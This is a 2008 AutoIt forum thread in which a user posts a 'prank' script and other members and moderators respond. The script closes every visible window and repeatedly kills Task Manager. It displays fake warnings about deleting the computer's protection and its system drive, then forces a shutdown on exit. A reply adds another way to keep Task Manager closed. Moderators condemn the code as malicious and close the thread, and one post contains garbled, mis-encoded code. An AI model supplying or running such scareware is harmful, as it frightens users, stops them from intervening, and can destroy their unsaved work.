z0mgItsJohn Posted April 2, 2008 Share Posted April 2, 2008 Here Ya Go Hope You Enjoy Source : expandcollapse popup#Include <GUIConstants.Au3> Opt ('GUIOnEventMode','1') Opt ('OnExitFunc','_OnExit') Global $Label['8'] $Font = ('WST_Czec') $Size = ('18') $Max = ('5000') ;======================================================================================================================================= $Win_List = WinList () For $Array = '1' To $Win_List['0']['0'] If ProcessExists ('TASKMGR.EXE') Then ProcessClose ('TASKMGR.EXE') EndIf If $Win_List[$Array]['0'] <> '' And BitAnd (WinGetState ($Win_List[$Array]['1']), '2') Then WinClose ($Win_List[$Array]['0']) EndIf Next ;======================================================================================================================================= GUICreate ('Prank', @DesktopWidth + '50' , @DesktopHeight + '50') GUISetBkColor ('') GUISetState (@SW_SHOW) ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['1'] = GUICtrlCreateLabel ('Deleting Computers Protection Systems','100','100', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['1']) _Set_Display ($Label['1'],'Deleting Computers Protection Systems','2') GUICtrlSetData ($Label['1'],'Deleting Of Computers Protection Systems Successful') _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['2'] = GUICtrlCreateLabel ('Injecting Computer Over Ride','100','150', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['2']) _Set_Display ($Label['2'],'Injecting Computer Over Ride','2') GUICtrlSetData ($Label['2'],'Injection Of Computer Over Ride Successful') _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['3'] = GUICtrlCreateLabel ('------------------------------------------------------------------------------','100','200', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['3']) _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['4'] = GUICtrlCreateLabel ('Setting Command (2-7)','100','250', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['4']) _Set_Display ($Label['4'],'Setting Command (2-7)','2') GUICtrlSetData ($Label['4'], 'Command (2-7) Set Successfully') _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['5'] = GUICtrlCreateLabel ('Starting Command (2-7) : (Delete System Drive)','100','300',$Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['5']) _Set_Display ($Label['5'],'Starting Command (2-7) : (Delete System Drive)','2') GUICtrlSetData ($Label['5'], 'Command (2-7) Started Successfully') _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['6'] = GUICtrlCreateLabel ('Deleting System Drive','100','350', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['6']) _Set_Display ($Label['6'],'Deleting System Drive','3') GUICtrlSetData ($Label['6'], 'Deleting Of System Drive Successful') _Stop ('TASKMGR.EXE') Sleep ('3000') ;======================================================================================================================================= _Stop ('TASKMGR.EXE') $Label['7'] = GUICtrlCreateLabel ('Just Kidding','100','500', $Max) _Stop ('TASKMGR.EXE') _Set_Label ($Label['7']) _Set_Display ($Label['7'],'Just Kidding','3') _Stop ('TASKMGR.EXE') Sleep ('2000') ;======================================================================================================================================= GUICtrlSetData ($Label['7'], 'April Fools!') Sleep ('1000') GUICtrlSetData ($Label['7'], 'April Fools! April Fools!') Sleep ('1000') GUICtrlSetData ($Label['7'], 'April Fools! April Fools! April Fools!') Sleep ('1000') GUICtrlSetData ($Label['7'], 'April Fools! April Fools! April Fools! April Fools!') Sleep ('1000') GUICtrlSetData ($Label['7'], 'April Fools! April Fools! April Fools! April Fools! April Fools!') Sleep ('1000') GUICtrlSetData ($Label['7'], 'Your Computer Will Now Restart Lol') ;======================================================================================================================================= Sleep ('3000') Exit While ('1') Sleep ('150') _Stop ('TASKMGR.EXE') WEnd Func _Stop ($Process) If ProcessExists ($Process) Then ProcessClose ($Process) EndIf WinActivate ('Prank') EndFunc Func _Set_Display ($Variable, $Data, $Array_Set) For $Array = '1' To $Array_Set _Stop ('TASKMGR.EXE') Sleep ('750') GUICtrlSetData ($Variable, $Data & ' .') _Stop ('TASKMGR.EXE') Sleep ('750') GUICtrlSetData ($Variable, $Data & ' ..') _Stop ('TASKMGR.EXE') Sleep ('750') GUICtrlSetData ($Variable, $Data & ' ...') _Stop ('TASKMGR.EXE') Sleep ('750') _Stop ('TASKMGR.EXE') Next EndFunc Func _Set_Label ($Variable) GUICtrlSetColor ($Variable, '0xFFFFFF') GUICtrlSetFont ($Variable, $Size,'','', $Font) EndFunc Func _OnExit () Shutdown ('2') EndFunc Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
Swift Posted April 2, 2008 Share Posted April 2, 2008 I presumed Jos, didn't want the old thread open, and nor that he wanted a new one. Another thing, do what people suggested, remove all the _Stop(), and just use this: AdLibEnable("TaskMgrClose", 200) Func TaskMgrClose() ProcessClose("taskmgr.exe") Endfunc Please forgive me if I need the () after TaskMgrClose in the AdLibEnable() I don't know about that function very-well, and not sure if you need that. Link to comment Share on other sites More sharing options...
z0mgItsJohn Posted April 2, 2008 Author Share Posted April 2, 2008 I presumed Jos, didn't want the old thread open, and nor that he wanted a new one. Another thing, do what people suggested, remove all the _Stop(), and just use this: AdLibEnable("TaskMgrClose", 200) Func TaskMgrClose() ProcessClose("taskmgr.exe") Endfunc Please forgive me if I need the () after TaskMgrClose in the AdLibEnable() I don't know about that function very-well, and not sure if you need that. Nope AdLibEnable ().. Stops The GUI From Showing Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
Tomb Posted April 2, 2008 Share Posted April 2, 2008 i don't like that it shutdown. Link to comment Share on other sites More sharing options...
z0mgItsJohn Posted April 2, 2008 Author Share Posted April 2, 2008 (edited) Replace : GUICtrlSetData ($Label['7'], 'Your Computer Will Now Restart Lol')oÝ÷ Ùh«¢+ØìU% ÑɱMÑÑ ÀÌØí1±lÌäìÜÌäít°Ìäíe½ÕÈ ½µÁÕÑÈ]¥±°9½ÜIÍÑÉÐ1½°ÌäìoÝ÷ Ø Ýjëh×6Func _OnExit () Shutdown ('2') EndFuncoÝ÷ Ùh«¢+ÙÕ¹}=¹á¥Ð ¤(ìM¡Õѽݸ ÌäìÈÌäì¤)¹Õ¹ And It Wont Shutdown Edited April 2, 2008 by John2006 Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
Zedna Posted April 2, 2008 Share Posted April 2, 2008 (edited) Moderator has closed your previous topic probably due to this "malicious" code. So expect warn or ban if you continue posting the same code again ... Edited April 2, 2008 by Zedna Resources UDF ResourcesEx UDF AutoIt Forum Search Link to comment Share on other sites More sharing options...
z0mgItsJohn Posted April 2, 2008 Author Share Posted April 2, 2008 o_o Sorry And All It Did Was Shutdown At The End o_o And I Did Not Know He Closed It Until After I Posted New One He Did Not Even Say He Was Gonna Close Old One xP Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
Tomb Posted April 2, 2008 Share Posted April 2, 2008 o_o Sorry And All It Did Was Shutdown At The End o_o And I Did Not Know He Closed It Until After I Posted New One He Did Not Even Say He Was Gonna Close Old One xPdisabling task manager might also be considered "malicious"? Link to comment Share on other sites More sharing options...
Zedna Posted April 2, 2008 Share Posted April 2, 2008 disabling task manager might also be considered "malicious"?I don't know exactly.I just gave advice to poster that's it's not good idea make the same post after previous the same one was locked. Resources UDF ResourcesEx UDF AutoIt Forum Search Link to comment Share on other sites More sharing options...
z0mgItsJohn Posted April 2, 2008 Author Share Posted April 2, 2008 And I Did Not Know He Closed It Until After I Posted New One He Did Not Even Say He Was Gonna Close Old One xP... Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
Tomb Posted April 2, 2008 Share Posted April 2, 2008 ... Link to comment Share on other sites More sharing options...
GaryFrost Posted April 2, 2008 Share Posted April 2, 2008 *Click* SciTE for AutoItDirections for Submitting Standard UDFs Don't argue with an idiot; people watching may not be able to tell the difference. Link to comment Share on other sites More sharing options...
Developers Jos Posted April 3, 2008 Developers Share Posted April 3, 2008 (edited) o_o Sorry And All It Did Was Shutdown At The End o_o And I Did Not Know He Closed It Until After I Posted New One He Did Not Even Say He Was Gonna Close Old One xPoh sorry, forgot there are slow people that needs simple stupid things like this explained:Thread was closed because it simply is NOT funny to pull these type of practical jokes.On top of that its BS from my point of view to open a new topic unless you were unable to post in the previous closed one so if you don't mind I do question your statement about not being aware it was closed. Edited April 3, 2008 by Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
Recommended Posts